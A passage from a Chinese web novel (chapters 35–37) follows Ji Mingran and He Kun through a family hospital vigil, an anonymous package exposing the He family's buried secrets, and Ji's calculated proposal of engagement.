听见他的声音后,沙发上的人回头起身,“节日快乐,贺琨,还有,想吃。” 纪明冉在回答自己手机消息的问题,贺琨意识到后,眉间的冷郁淡去,带着笑意问:“那你今晚还走吗?” 客厅内的人放下手机朝自己走来,“月饼都还没吃上,你就急着问我那么多问题。” “?” “放在桌上呢,我换好鞋给你拿。” 贺琨将电脑包放在鞋柜上,取出自己的拖鞋,弯腰更换,动作很快。 却没想到刚直起身子,就猝不及防地被扯进了久违的怀中,纪明冉的指尖点上他的唇边,“想吃的是你吃的那块。” 贺琨喉结微微滚动,他移开视线:“我记得相同的口味,每种有两份。” “嗯我倒是还有一个办法,吃礼盒那份,还是吃你那份?” “看着我,阿琨。” 贺琨快速看了眼纪明冉,有想念,也有渴望,犹豫几秒后试探着开口:“吃礼盒,嘶——” 回答被打断,他吃痛皱眉,赶忙按住胸口上作乱温凉的手掌。 “说谎可是要被惩罚呢。”纪明冉注视着贺琨,暧昧不明。 可惜,这是个好节日,却不是好日子。 第35章 第三十五章贺家事变二合一请假补偿…… 一辆黑车在城市道路上驰过,吉光,贺琨惯用的汽车品牌,他坚持送纪明冉去医院。 就在刚才,两人都还没能说上几句久别后的腻歪话,纪家主宅那边便传来消息,说纪父纪正源住院了。 原因很寻常,就是年纪上来了,正逢佳节多饮了几杯酒,结果晚些时候刚躺下就中风了。 纪明冉安静地看着车窗外,面上没有什么波澜起伏,乱的是纪家,他如同置身事外。 在贺琨眼中,纪家关系复杂,兄妹几人看似和睦,实际说来,关系却不怎么样,甚至可能是生死仇敌。 比如过世的纪焯,至今真实的死因都还扑朔迷离。 纪家,无论是论权利地位,还是金钱财富,在国内无出其右者。 如果纪正源此时真的倒下了,那么纪明冉面对的境况之复杂,不言而喻。 贺琨不清楚纪明冉对此准备得如何,他基本从不过问,纪明冉也不会主动提起。 设计纪明冉接手兰临市的小山口项目,再因为一纸协议成功同居,好不容易磕磕盼盼地进入恋爱关系。 贺琨只希望两个人的关*系能变得纯粹,最好不要再掺入其他的是非。 涉及两个家族,尤其是纪家,听起来很单纯可笑,但他确实是这么想的。 所以贺琨如今艰难地撑着迅科,也并未向纪明冉主动开口请求什么。 要知道,如果是纪明冉的话,也许外行人贺琨觉得棘手的事,都会变得简单很多。 多少媒体报纸都说,这人是经商投资的奇迹,百年难遇的天才。 “你害怕吗?” 贺琨先开口,声音很轻,含着太多爱意,以及说不清的柔软。 尽管他早已自顾不暇,但是面对纪明冉的时候,他总是毫不吝啬的给予。 纪明冉垂眸遮住眸光,上一世车祸发生的那刻,甚至没有时间害怕,只能看见是辆无牌车,从路口横冲而来,看见行人走在斑马线上也丝毫没有减速,反倒一脚将油门踩了个底。 猛烈的撞击后,全身每寸皮肉,连带骨缝都在钻心地痛,甚至能听见肋骨断裂的闷响,随后身体悬空,似乎很轻,可砸落在地面上的声音又很重。 纪明冉记得那是个冬天,街边还有薄薄的积雪,血色融进雪中,红艳艳的一片,很快就慢慢流进下水道里,滴滴答答。 “不会怕了。” 等到了医院门口,贺琨大有不走的架势,生怕纪柏达几人把他温柔可人的纪明冉生吞活剥了。 “我在外面等你。” 纪明冉劝说无效,捧着贺琨脸交换了一个吻:“快回家吧,如果事情复杂,可能今晚我都不会回去了,好好休息,听话。” 贺琨得到了吻和低声的哄,脸微微红,这下不得不听话了,纪明冉起身,属于他身上的冷香逐渐淡却。 “好吧,无论发生什么,我都要跟着你。” 贺琨说得很严肃,黑茶色瞳孔里倒映的全是纪明冉。 纪明冉没当真,贺琨才20多岁,心性不定,现在看起来很专一,但保不齐哪天厌倦了,想回到原来的状态呢? 他查看着肃山给的病房消息,头也没抬起,便笑着随后应付了句:“好。” 纪明冉是最后一位赶到病房,但今晚还有人来不了,他越过在场的几位走进房内。 纪夫人坐在病床边,依稀可见年轻时绝美的容颜,她侧身对着病房门,注视着病床上的男人,眼眶通红,情深不悔。 而病床上躺着的,自然就是纪正源,被照顾得很好,但就是迟迟没有苏醒。 纪行思年龄还小,刚加进纪家主家,竞争力不强,甚至不够看。 纪夫人此时也是有几分真情流露的,但在场的其他人就不好说了。 纪姝还是那副模样,安静又无声地站在床边,素色的裙子搭配着一件单薄的开衫,有些不合季节,许是出门时候比较着急。 纪清嵩就在她旁边,坐在轮椅之上,表情也是有些许不自然,不同往日那般气定宁和。 纪明冉心中玩味笑笑,虽说纪清嵩和纪禾才是同父同母的兄妹,但纪清嵩唯独亲近纪姝,这两人今天又是怎么了。 纪柏达也在,应该今晚恰好在家,他拉着何女士坐在病房的沙发上,并未上前。 纪禾在外地拍戏,纪行思则是跟着学校去国外培训,两人今晚应该是来不了了。 纪明冉淡漠地扫视过众人,最后将视线停在病床上的纪正源身上。 往日的威严全然消失,面色苍白,皱纹纵横,呼吸也变得比寻常粗重。 死亡之下,无论是谁,都不过是个普通人。 白衣大褂的医生走进来,后面跟着一位拿着记录的护士。 “付女士,这是纪先生的检查报告。” 医生说完,侧身示意,身后的护士将一份纸质报告递到纪夫人手中,他点点头继续说: “因为发现早,送医及时,所以并无大碍,以后要注意饮食健康,保持良好的生活习惯,定期体检……” “那我先生什么时候能醒?”等医生交代完毕,纪夫人急切问道。 “嗯,这个还是看病人自身条件,待会清醒后,再观察几日,如果没有什么大碍就可以出院了。” 听起来有惊无险,大家不约而同继续守在病房等候着,打算等纪正源苏醒后再离开。 各怀心思,蠢蠢欲动。 半小时后,纪明冉先行起身:“夫人,公司有急事。” 话到一半,大家都明白是什么意思,纪夫人点点头。 纪明冉起身离开,带着歉意笑容消失在逐渐闭合的门缝中。 肃山在外面走廊上坐着,看见纪明冉出来,便赶忙迎上来:“纪先生,不等纪正源先生醒吗?” “醒不了,浪费时间罢了。” 肃山暗忖纪明冉的回答,几秒后犹豫道:“先生是发现什么了吗?” “嗯,应该是杀纪焯的那人又出手了。” “纪清嵩?” 肃山跟着纪明冉做事,故而知道关于纪焯意外死亡之事,前部分可能是纪柏达在做推手,但是最后并不是纪柏达下的杀手。 纪明冉走在医院雪白的走廊上,因为纪正源是半夜进院,此楼层又为vip病房,环境更是幽静。 唯有走廊中段的问诊台前,坐着位女护士,电脑屏幕的反光将她脸照得格外惨白。 听见肃山的猜测,他笑而不语,反倒说:“回公司。” “踏-—踏踏-踏”身后传来脚步声,并不整齐,节奏慢而随意。 肃山警觉地往后看,又是熟悉的脸,纪柏达。 “您有何事?” “肃山,表情那么臭,我又不会把你家先生吃了。” 纪柏达开着玩笑逼近,走廊中段的女护士听见响动朝他们三人看了一眼,再次默然回头,继续看着电脑屏幕。 肃山捏了捏拳头,他最怕和纪柏达打交道:“还请纪五先生有事论事。” 纪柏达边啧啧称奇,还边念叨着世间少有肃山这么古板较真的人了。 “五哥,我有急事。”纪明冉适实地出声提醒。 语调淡淡的,叫着五哥也听不出几分敬意,倒是又几分赶客的意思。 “好吧好吧,我今天发现了一个大事,你猜怎么着?” 纪柏达卖弄着关子,表情那叫活灵活现,让他去做个说书先生恐怕再合适不过。 纪明冉抬腿就走,根本没有给纪柏达卖面子。 “哎哎哎,开个玩笑嘛,肃山的脾气肯定是随了你了。” 纪柏达再次喊话,说话风格根本抓不住关键,想到哪里就往哪里说,就是说不到点上,整日似晕晕乎乎的。 “五哥,如果你很闲的话,我可以给你找点事情做。” 纪明冉眼皮微撩,暗含威慑地扫了纪柏达一眼,丝毫没有停留的打算。 纪柏达瞳仁微转,挂着笑容跑了两步,追上纪明冉。 “纪姝出手,给了纪清嵩一耳光!当时可搞笑了,你知道吗?就是纪清嵩整日端着那张无欲无求的脸,那瞬间直接慌了。” 纪柏达压着声音,但是没有压住笑容,仿佛当时纪清嵩的表情真的很扭曲可笑,他边笑边补充: “你是没看见啊,谁被打了不生气也没反应,先是心慌啊,像个受虐狂似的,你就说好笑不好笑。” 肃山站在两人后面陷入了思考,意思是纪姝女士收到消息并未先来病房探望,而是先去找了纪清嵩先生。 纪明冉丝毫没有在意,只是将笑弯腰的纪柏达扶正,理了理他卫衣的歪帽子。 “五哥笑这么开心,也不怕下个死的是你。” 纪柏达突然愣住,忍不住地往身后看了看,见走廊依旧空荡,才稳住心神,凑到纪明冉身前,贱兮兮地笑着: “不怕,先死的一定是你,有你垫背,五哥就不怕。” 纪明冉气定神闲,掏出手帕擦了擦修长的五指,眼神慢慢钉住身前之人,目光如同淬毒,声音森冷: “我早死过了,五哥,轮到你们了。” 纪柏达听不懂,脊背却阵阵发寒,他猛地抬头,撞进纪明冉那阴冷的眼神中,竟是愣了好几秒,才慢慢找回自己的声音,似乎壮胆般拔高音量:“你,你在说什么胡话,家里谁的命有你好!” “母族势力强盛,回家后做什么都顺风顺水,父亲倚重你,贺家的小子心里眼里全都是你。” “你什么都有了,怎么就不知足啊纪明冉你怎么就不知足呢?” 说到后面,几乎是夹杂在唇边溢出,满是羡怨。 肃山上前将人隔开,把纪先生护在身后。 “对了哈哈,”纪柏达想起什么似的,忽然看向纪明冉,“你要小心啊,你惹到疯子了,别说做哥哥的不关心你。” 停车场,肃山从后视镜中看了眼闭目养神的纪明冉:“纪先生,刚才纪柏达说的事,关于纪姝和纪清嵩,要让肃江去调查吗?” 折腾一番,纪明冉眼眶中满上血丝,眼下附着圈淡淡的黛青,他困倦道: “纪柏达拿我当枪使,要么是他没本事查不到,要么是查到了,处理不了。” 肃山还等着纪明冉的吩咐,但是后排的人不再说话,他便收回全部注意力,专心将车开好。 —— 贺琨回到家中,寂静里夹杂着冷意,几个小时前他还拥着纪明冉,现在只剩下一室安静。 关于纪明冉的出现似乎只是个短暂的幻觉,贺琨再次更换拖鞋,抬眼便看见了自己刚才随手放下的公文包。 记忆回到那个中午,他刚开会结束时,发现抽屉异样,那种强烈的不安再次涌上心间。 贺琨的眼眸缓慢的动了动,他想纪明冉了。 “对不起,您拨打的电话不在服务区,请稍后” 他第三次将拨打不通的电话挂断,点开那个回复很少的对话框。 【冉冉,我收到一封邮件。】 【很奇怪】 贺琨放下手机,再次拿起那封纯色的邮件,不属于国内任何一家快递公司的包装,更像是凭空出现。 他来回翻看,没有任何标记,但撕拉条很明显。 客厅,垃圾桶被丢进一条曲卷的细硬纸,随即沙发塌陷,贺琨将信封中装着的所有取出。 第一份,贺家家谱。 主支第*代——贺郝闵、贺郝舟、贺郝雅 贺郝闵,配偶xx——贺嘉岂 贺郝舟,配偶xx——贺琨 贺琨出生的时候,他的大伯一家已经去世了,他父亲贺郝舟便在众人呼应下,顺理成章地成为了贺家的家主。 他看着这张纸有些迷惑,他记得小时候三姑妈贺郝雅给他提过,大伯贺郝闵是位很严肃清正的人,而他的堂哥更是天生聪慧机敏、才华逼人云云。 贺琨很好奇,本来追着问,结果他哥回家刚好听见,便将三姑叫回去了,不允许有人再提起那些往事。 他哥当时说的是:“过往的事不必再提,除了成为困扰,一无所用。” 自那以后,贺琨也不会再主动提及,也不再关注大伯家的事故,随着时间的流逝,那些陈年往事很快在他的记忆里淡去。 第一份纸张附带了张照片,是个孩子,年纪不大,应该是在郊外游玩。 贺琨取下来翻看,照片的背面有蓝黑色钢笔笔记,是个时间,年月日都有,那时他还未出生。 这封邮件在此时匿名出现在贺琨的生活里,他很难忍住不去联想。 如果猜得没错的话,这个人应该就是那个素未谋面的堂哥,年幼时的贺嘉岂。 贺琨盯着那张照片愣神,总觉得这张脸似曾相识。 第二份,是张尸检报告和死亡通知,属于贺郝舟。 贺琨喘息骤停,死亡原因赫然在目——二氧化碳中毒,黑字映在白纸上格外刺眼,连带着手中的纸张都变得沉重。 不,不是这样的,他记得不是这样的,父亲死亡的原因是助理的出卖,他是因为车辆刹车失灵而死的。 贺琨有预感,如果继续看下去,一切可能朝着无法预料的方向发展。 这些是在上一世,从没有发生这些事。 他感觉自己似乎陷入了一个黑压压的漩涡之中,跟着被设计安排好的路线,做出各种以供人观赏取乐的反应。 为什么他哥突然车祸昏迷?为什么突然出现匿名的邮件? 贺琨端起桌面上已经凉透的开水,刺骨的凉意顺着喉咙流进胃里,随后机械地低头,再次拿起那些精心整理的材料。 他迅速地将后面的几页材料和照片仔细查看完毕。 第三份,是份手术同意书,关于灾后面部修复。 第四份,贺青峰的收养事件的全部流程及手续。 第五份,是段拷贝视频,他看见父亲的助理如实供认受人收买,如何操作,造假父亲的死亡现场。 第六份,贺郝舟二氧化碳中毒死亡的真相,直指贺青峰 邮件的内容只差把目的附件在最后,希望他与贺嘉岂反目成仇。 是的,贺嘉岂,不是贺青峰了。 贺琨想起他和他哥第一次见面。4岁的他藏在沙发后面,等待着那位传说中的11岁的哥哥。 这位哥哥是父亲一位姓陈的朋友的儿子,那位朋友意外死了,委托他收养自己的儿子陈青峰,就当是给小少爷做个伴。 父亲答应了,收养后索性又给改了姓,叫个贺青峰。 保姆阿姨说这是父亲给他买来的玩伴,以后父母不在家的日子,他都会有哥哥。 哥哥就是爸爸买给他的助手,一辈子都要帮他,一辈子都会陪着他。 看他不理解,阿姨又说:“就是他要陪着你很久,懂了吗?” 11岁的贺嘉岂通过种种渠道,不知怎么成为陈家的儿子,又通过离奇的方式被贺父收养,再次回到贺家。 那天,贺青峰踏进贺家主宅的大门时微微发愣,直到一路走进主楼时,都还在走神。 小贺琨先是藏在窗子后面悄悄观察,见那位清秀好看的哥哥走进主楼的大门,就赶紧藏进沙发底下去。 他下定决心,如果这位哥哥找到他,那么他们就做全世界最好的朋友。 因为每次只要他藏在这里,除了保姆阿姨能够发现他,爸爸妈妈一次都看不见呢。 有次他缠着阿姨问了很久,阿姨都有些不耐烦了,才对他急吼吼的说:“这还要问嘛?是少爷藏得太好了,行不行。” 小贺琨理解为家里只有阿姨照顾他,所以阿姨能找到他。 如果那位哥哥真心是来陪他长大的,那么他也一定能发现他。 其实不然,沙发很低,任由个子小小的小朋友努力的钻,也还是会把圆滚滚的屁股和小腿露在外面。 很显目,只是往日都被刻意被忽略的罢了。 小贺琨不太理解阿姨话语中莫名的攻击性,但却相信了阿姨的话。 随着脚步声慢慢靠近,他的心扑通扑通地跳起来,他好期待好期待好期待哇。 “你在干什么?下面有灰尘。”少年的声音清凉,透着冷漠。 小贺琨终于被看见了! 他笨拙地爬出来,抱住贺青峰的腿:“好朋友!” 哥哥看起来并不开心,只是淡淡地将他拂开:“少爷好。” 接下来就是耗费了很久的拉锯战。 有多久呢,就是从小贺琨上幼儿园,到幼儿园毕业,然后跌跌撞撞地上了一年级,他每天都在逗面色阴沉的少年开心。 对于小小的贺琨来说,这些年已经像是阿姨口中的一辈子。 就是花费了这么多这么多的时间,他才让少年的脸上终于出现笑容。 贺琨还记得,那天阳光正好,他被哥哥圈在怀里吃冰淇淋。 “贺琨,以后叫我哥哥。” 贺琨揉了揉酸涩的眉心,倒在沙发上,一动不动地盯着雪白的天花板。 所谓的贺青峰,承载了那么多的名字,原来是贺嘉岂被收养后,给自己起的代号。 贺嘉岂很成功。 成功到贺琨试图生起些恨意,都无法心安理得,他甚至不知道此时此刻自己应该做什么。 时间已经来到凌晨3-4点,贺琨的思绪变得缓慢游离,甚至超脱,他似乎看见自己安静地躺在沙发上,以此来隔断所有无法解答的遭遇。 清晨5点,贺琨蓦然坐起,僵硬的躯体发出骨骼摩擦的脆响,他快速翻找,从那堆白花花的纸张中,找到了那张最开始的照片。 年幼的贺嘉岂赤脚站在草地上,后面是位优雅的女士,坐在漂亮的格子丝布上,满眼疼爱地注视着。 是啊,他哥,哥左脚后有一枚痣。 贺琨抓起车钥匙就往外跑。 安静的疗养院顶楼,贺琨急切地推开房间门,医用的检测仪器在黑暗里发出规律的响声,认真地监测着病床上的人的生命体征。 贺琨压抑着急促起伏的胸膛,唰地将盖住腿部的被子掀开。 他死命地盯着,这一刻他无比确定,那双脚掌光洁至极,什么都没有! 这人不是他哥哥。 “哈哈,哈哈哈。”贺琨低头闷闷地笑起来,笑得泪花泛滥。 寄送邮件的人就巴不得见他们反目成仇,想必早就料到,光凭借这不知名的病人,真相很快就会浮出水面。 但只要贺琨恨上贺嘉岂,那事情就会迎刃而解。 谁会大费周章地寻找杀父仇人,寻找一个要将你顶替的人。 贺琨偏不,他抬手抹去眼角的湿意,就算是要算清楚那些陈年的旧账,他也要找他哥,面对面地亲口说。 窗外天色蒙亮,贺琨脱力般倒在沙发上,十分静谧,只剩下微微起伏的胸膛。 电话铃声突兀地响起,打破房间的寂静。 贺琨以为是公司的事,冷淡地瞥去。 手机屏幕中,纪明冉的名字挂在来电提示上,在这个漫长的夜晚如同救命稻草般及时,三个字如同被渲染上暖色调,显得温馨甜蜜。 贺琨喉结微微滚动,如同等来了可以倾诉的归巢。 他有好多想说。 贺琨坐起来,急切地抓起手机,贴到耳边。 第36章 第三十六章残忍订婚纪明冉刚走没几…… 纪明冉刚走没几分钟,纪柏达便说自己要出去抽根烟。 没几分钟却又回来了,不过身上倒是没有残留下什么刺鼻的味道,也算细心。 他推开门,再次坐回沙发上,和身旁的何女士小声地说了几句,病房再次恢复安静。 天快亮起来的时候,纪父还是没有苏醒的倾向,纪夫人本是杵着在床边休息,见众人困倦得哈欠连连,于是主动发话道: “都回去吧,这么守着也不是事,我和小何这几日守着就行。等你们父亲醒了,再告诉你们过来,都是年轻人,手上都有事,该做什么就去做吧。” 坐在纪柏达旁边的温婉女人点点头,起身前安抚性地拍了拍纪柏达的肩膀,应道: “夫人说的是,你们这些孩子,快回去休息吧,纪姝也是,家里还有小宝呢,去吧去吧。” 纪姝本来也不愿意继续待着,不过为了避免不必要的口舌麻烦,被提到名字后,先于众人起身,她抿唇笑笑:“谢谢何姨体谅,”又回头客气地看向纪夫人,姣好的面容上带着几分病态的白,“有什么需要,夫人尽管叫我,那这会我便先回去了。” 深秋的清晨薄雾弥漫,空气中净是些凉意,纪姝收到消息的时候,出门时比较急,衣服穿得很单薄。 刚踏出医院便冷得哆嗦,本就雪白的脸失去仅剩的血色,更加白上几分。 这个点,她丈夫应该还在宿醉中未醒,纪姝也没指望,索性叫了司机来接。 “姐,要不先穿我的外套,好吗?” 纪清嵩坐在轮椅上缓缓而至,应该是跟着纪姝后面出来的,态度软和,带着几分讨好的意味。 纪姝的性格与外貌完全不符,看起来再温婉宁静不过,实则是个十分有主见魄力的女子,认定的事情绝不会轻易改变,要做的事也绝不会中途放弃。 面对纪姝,大多时候都是纪清毫无底线地服软。 比如现在,他无法通过强硬的方式将外套塞给纪姝,只能先缠着,好说歹说,总之很久很久,久到纪姝厌烦,偶尔也会改变主意。 而今天纪姝动怒了,始终将他视为空气,只是低头刷着手机。 秋风扫过带起她素色裙摆,莹白脚踝晃过,随意用绸缎绑起的碎发滑落,擦过淡雅的眉眼。 “姐,我知道错了,你感冒了,到时候长仪闹着要你,那怎么办。” 纪清崇那张面容与纪禾同样惊艳,继承了亲生母亲的卓越基因,可能是因为后天残疾,比起纪禾的张扬强势,他反倒更多地显露出安静与脆弱。 见纪姝充耳不闻,他小心翼翼地上前几寸,骨骼分明的掌柔柔地攥住纪姝的裙摆,他仰视着女子,将自己的柔软脆弱赤裸剖开。 “姐,连你也不看我,便没有人在意我了。” “以弱凌人,纪清嵩,书本是这么教你的吗?” 在这般注视下,纪姝依旧毫不动容,她淡定地将自己裙摆从纪清嵩手中拽回,甚至没有多余的眼神。 “姐,你知道我不是这个意思,我只是不想看见你生病。” “关你何事。” 纪清嵩眼中流露出苦楚:“怎么不关我的事,你说过,我们要相依为命一辈子的,我不照顾你,谁还能照顾你?张家明吗?” 纪姝想起酗酒成瘾的张家明,“总之,与你无关。” “你如今都能不要命的撒疯做事了,我无法照顾你,也不需要你照顾。” “你还想着那个男人是吗?他已经死了,姐,他死了,尸体都没有,”纪清嵩急切地脱口而出,现在想将话收回,却早已来不及了,“不是,我不是那个意——” 纪姝冷冷哼笑,纤细的手将风中起浮的青丝揽到耳后,迎着风缓缓说:“那你真是太不了解我了,纪清嵩,我劝你乘早收手。” “我不,凭什么,姐,我不甘心,不甘心命运如此慢怠我们。” 纪清嵩摸了摸自己当年被活生生敲断的左腿,每个阴天疼意丝丝渗进骨血,为什么不能恨。 尽管如此,他还是未将视线移开,风将纪姝的发丝吹起,露出天鹅颈优雅利落的线条,隐约可见曾经的杀伐果决。 “姐姐,我就是太了解了,你难道会安于现状吗?” 就在此时司机到了,车辆缓缓停在路边,就在纪姝身前。 她没有回答纪清嵩的问题,走之前只是无奈地笑笑,像曾经两人相依为命的日子,抚了抚纪清嵩的脸,带着上位者的溺爱。 不过,纪清嵩长大了,纪姝的手心现在只能盖住他的侧颊的半面。 “回家吧,清嵩。” “人都要学会自己走自己路,你要清醒地明白自己在做什么。” —— “先生,白塔研究中心还等您回复,迅科集团那边也看准了这块,”肃山捧着平板快速地做出汇报,“贺荣炜阻拦未果,贺琨带着贺青峰的人已经开始推进。” 纪明冉看着夜色,离开医院后,时间已经来到后半夜,弯月高高悬挂,他迟迟未开口答复。 现在的局势很不利,所有压力都堆挤在了这个节骨眼上。 原本按照他与宋榄的合作,贺青峰被带离出国后,便是他乘虚攻破迅科集团的最好时机。 但纪明冉却在即将成功时,顾虑起了贺琨,如果他真的动手了,那么贺琨知道真相后,他们还能像如今这样吗? 纪明冉起身,走到办公室的窗前,火光轻跃,很快香烟缭绕。 他甚至病态地想,如果贺琨不那么乖就好了,他不应该那么安分地待在家里。 贺琨应该每天都在外面,没日没夜的疯玩才对,那么纪明冉就会心安理得地出手,因为这是他欠他的。 但现在的贺琨什么都不知道,他只是全心全意地爱着纪明冉。 “纪先生?”肃山见纪明冉未下决定,忍不住提醒道,“按照计划,您现在应该已经截断贺氏集团的渠道了。” 是的,就算假如贺青峰没有被带走,依旧在迅科主持大局,他也早应该出手了,而不是像现在这样犹豫不决。 前段时间,贺琨明明还在为贺青峰受伤不醒而悲伤,却一声不啃地扛起大梁。 作为经商投资的纯新手,他很多事办得都不漂亮,甚至拖泥带水,根本不够看。 那天纪明冉去找贺琨,等到的屋子里的时候,已经是半夜了。 书房里的灯亮得晃眼,贺琨趴在书桌上睡着了,电脑显示屏上还是那些集团的事务。 他静默地走进书房,搜索栏中都是些纪明冉看起来再简单不过的问题,甚至简单到显得提问的人都有些可爱。 纪明冉还是于心不忍,将贺琨捞进怀里抱着,任是那么大的动静也没把青年吵醒,只是换了个姿势,趴在他肩头上睡得不省人事。 没有多久,他就帮贺琨处理好了那些大大小小的事务,大多是些审批,能带出公司的也不是什么要密。 是的,纪明冉下班后,抱着项目对家的小少爷,处理着对家集团的公事。 他那时候还觉得这样下去也没什么,找找其他办法,两个人还可以回到平静的日子。 这一世的贺琨什么都没有做,将过往迁怒,对没有记忆的贺琨来说不公平。 可是,现在局势逼人。 纪正源昏迷不醒,项目受到不明的阻滞,白塔中心等待着回复。 无论其中哪一件单独提出来,都是让人头疼的存在。 如果此时让贺氏先进入市场,那么纪明冉则会在此局失去先机。 由于产品的特殊性,前期投入可以算作全军覆没,重新争夺分割市场的难度会大幅增长。 纪明冉不能让苦心经营的一切毁于此,仇人还在暗处蠢蠢欲动,这是必须要做的事,不惜代价。 “回复白塔研究中心,继续开发生产,迅科集团不会成为阻碍。” “是,先生。” 肃山走后,办公室再次安静,纪明冉将逐渐熄灭的烟头按灭。 贺琨前半夜发送来的消息,他还没有回复。 奇怪的邮件,不用想也能猜出,定然来自宋榄,此人退出雇佣组织后,沉寂了几年,再见面却变成了个满脑子情爱的痴人。 宋榄隔着大洋送来的邮件,内容无非是关于贺家的那些往事,好斩断兄弟两人之间的羁绊。 只是在此时被贺琨发现实在是过于巧合,反倒便于纪明冉接下来的行动。 想来贺琨今夜不会好过,他无论如何也不能现在回复。 为了顺利完成计划,就算过程再残忍,纪明冉也必须耐心地等。 等无尽的恐慌将贺琨淹没蚕食,把温室里的“小玫瑰”曝于残酷的荒野,失去理智。 他再像救赎的神明般降临。 纪明冉没有对不起贺琨,他保证会瞒得密不透风,没有丝毫痛苦。 天蒙蒙亮起,首都的上空笼着白茫茫的秋雾。 纪明冉终于拿起手机,备注上未接电话显示是红色的,无比熟悉的名字因此更加显目。 他轻轻点击,短暂的忙音过后,电话接通。 不等对面说话,纪明冉便已开口,声音温柔,如裹满糖霜的毒液。 “贺琨,我们订婚吧。” 第37章 第三十七章盛大无声贺琨忽地坐直身…… 贺琨忽地坐直身体,呼吸一窒,所有杂乱的思绪都在此刻停滞,半晌不知如何开口说话。 纪明冉听见对面提起的呼吸,迟迟没有回落,那么开心吗? 他不自觉变得更加爱怜,拨弄着手中的对戒盒子,等待回复的发问也显得格外温柔。 “嗯?” “真的?是我想的那样吗?”贺琨声音轻轻的,却满是不可置信,似乎大声些就会将如今的美好打碎。 纪明冉拿出之前准备好的解释,缓缓而道:“是的,还记得那天早晨你看见的戒盒吗?装着的就是我们的戒指,我很抱歉,那时还没准备好,所以骗了你。” “没,没关系不,不行,等等。” 电话突兀急切地被对面挂断,最后留下的却是拒绝。 纪明冉微微皱眉,他看着返回通话记录的页面,指尖轻敲着桌面。 如果没猜错的话,贺琨应该是期待的,情绪听起来他的情绪也应当是喜悦的。 可为什么没有答应呢? 难道是贺琨发现了什么,还是有人泄露了他的计划? 纪明冉眼眸中划过冷郁的颜色,除了计划被打乱的不悦,心中还有一阵说不清道不明的烦躁,搅得人心神不宁。 “肃山,明天就出手,阻断迅科项目的资金和供应源。” 他拿起办公桌前的内线电话,果断地做出决策,试图通过这种方式消减内心的失控感。 —— 贺琨被突如其来的幸福砸晕,前几个小时里,他还在数着秒数地煎熬,情绪的剧烈起伏让他头疼到直犯恶心。 可是接到冉冉的电话后,一切都变了模样。 如同在坠落进无尽的悬崖中,恐慌地等待着不知合适会来的死亡时,忽然被温柔地托住,而接住自己的人*,还正是心里最喜欢的人,这种感觉真的很奇妙。 贺琨当然想都不用想就会同意,这是他重生以来,始终未曾变过的期望。 他原本就要迫不及待地应下,可突然之间,又觉得不应该那么草率。 甚至忘记解释说不的理由,便急匆匆地将电话挂断。 贺琨觉得自己应该得开始准备了,并且是一刻不停地准备,最好就在今晚,他们两人之间,合该由他来求婚的。 但是在这之前,还得将眼下的事情处理好。 贺琨淡淡扫过病床上那位不知名的病人,似乎是想起什么,眼眸中透出平日里并不常见狠戾。 【刘助,我们之前的调查方向错误了,身份核验是造假信息,疗养院里昏迷不醒的人不是我哥。】 消息很快送达,对面显示已读,贺琨紧跟着追加道。 【将近段时间内我哥接触的人整理一份清单出来,尤其是那位宋榄医生。】 贺琨想起那个在兰临市区内就故意撞车,将他们车辆逼停的医生,这位是目前最让他怀疑的对象。 此人行事极端,贺琨记得某次饭后哥哥出门办公,这位年轻的医生便在他即将离家的时,站在玄关处出言挑拨离间,话题正巧是贺父的死因。 并且在上一世,宋榄医生和他哥之间的关系也很古怪。 他哥贺虽然平日比较严肃正派,但决计不会是那种时刻冷淡厌恶清晰地摆在表面上的人,两人上一世的关系如此僵硬又扭曲,定然也是存在着他不清楚的原因。 没过几秒,对面立刻回复——【好的,小贺先生。】 贺琨满意起身,头也不回地离开疗养院,估计接下来的很长时间内,他都不会再次回到这里了。 —— 暮色降临,雨幕细密,秋天的雨水似乎一刻也不会厌倦,总是淅淅沥沥地下着。 街灯昏黄,道路两旁的叶片上缀着圆润的雨珠,摇摇欲坠,又因雨势不大迟迟未落。 纪明冉坐在车上,琢磨着贺琨今晚约见的原因,自早晨被拒绝后,对面再也没有回信。 他本来应该主动询问的原因,却在最该理智面对的时,选择了全情投入工作。 于是,今天没有人能笑着走出纪明冉的办公室,连一向办事妥当的肃山也被纪先生反问了好几句,像路过的狗被踹了几脚。 虽说今天的工作的效率和准确率较之往常,确实大幅度地提高了,但是整层楼的气压已经低到零下去了。 办公室的小群里都在讨论,是不是贺二先生昨晚没给纪先生“吃饱”,大家默契打趣,这是打工人的苦中作乐。 可这样的状态持续到晚班结束后,又莫名其妙地恢复了,众人还摸不着头脑,但肃山已经知道了。 其实是贺二先生主动给纪先生发了条今晚约见的消息。 问就是,他被投票出代表全办公室汇报工作的时,看见了贺二先生来信的消息提示。 也因此荣幸地成为今日首位轻松走出纪总办公室的人,得到了同事全方位好评。 肃山当然是沉默地接受了,运气怎么不算实力呢。 街头转角处的某家花店,肃山将车辆缓缓停下,纪先生说下班后,先去买束花再回去。 纪明冉拉开车门,缓缓撑开雨伞,路上的行人来往,溅起水花飞到裤脚上,星星点点。 他横穿过人行道,站在花店前收伞,伞面上的水珠弹到空中,很快又消失在路面上。 纪明冉走进店内,精心挑选了一束好看的玫瑰花,重生之后他从未送过贺琨花束,这些节日、纪念日的仪式感行为很少,或者可以说没有。 除了日常,他基本不会做多余的动作。 贺琨满得溢出的感情,将纪明冉欠缺的那份刚好填补,维持着关系的平衡。 但是今天不一样,纪明冉是带着目的去的,所以他买了束玫瑰,认为比较契合主题。 20分钟后,贺琨现居的高级公寓。 纪明冉推开门后径直走进屋内,一片黑暗,很安静。 空气中盈润着不同于往日的香,湿润而清雅,不过纪明冉没有在意。 难道真的被察觉了? 纪明冉微垂眼眸,捧着花束的手加重了些许力道。 那贺琨会恨他吗? 或许只要自己打开灯,贺琨就会出现在身后,安静无声地将自己杀死,然后抱着尸体哭泣。 或许贺琨舍不得,现在只是安静地坐在房间的某处,等着被自己发现,然后通红着眼眶,拽着自己的领口质问,却依旧不舍下手。 或许…… “或许”很多。 纪明冉给过贺琨机会的,是贺琨要来和他纠缠,既然无法割舍,无论结出什么“果实”,都要一起尝尽。 纪明冉弯起眉眼,装作一无所知的温雅模样。 “咔嗒——” 他选择亲手将灯打开,如同拆开礼物般,充斥着莫名的期待。 但唯独令纪明冉没想到的,是眼前的这样的景象,安静却满载热烈,霸道地将他吞噬。 层层叠叠的鲜花如同浪潮席卷而来,淡紫、浅蓝、粉白……不同花系、长短不一,占满视线所及之处。 